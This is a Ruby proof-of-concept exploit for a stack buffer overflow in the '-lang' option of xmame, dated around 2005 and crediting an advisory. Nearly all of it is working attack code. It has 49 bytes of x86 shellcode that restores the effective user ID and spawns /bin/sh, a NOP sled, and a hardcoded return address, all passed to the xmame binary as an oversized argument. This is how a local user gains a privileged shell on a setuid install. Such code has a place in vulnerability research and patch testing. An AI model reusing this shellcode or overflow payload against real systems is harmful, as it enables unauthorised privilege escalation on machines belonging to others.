#!/usr/bin/ruby#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website
# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#
#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
"\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
"\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
"\x31\xdb\xcd\x80"
vulnpath = "/usr/games/xmame.x11"
argvopt = "-lang"
ret = (0xbfffe8da)
retadd = ([ret].pack('V'))
nops = ("\x90" * (1056 - (shellcode.length + retadd.length)))
buffer = nops+shellcode+retadd
system(vulnpath,argvopt,buffer)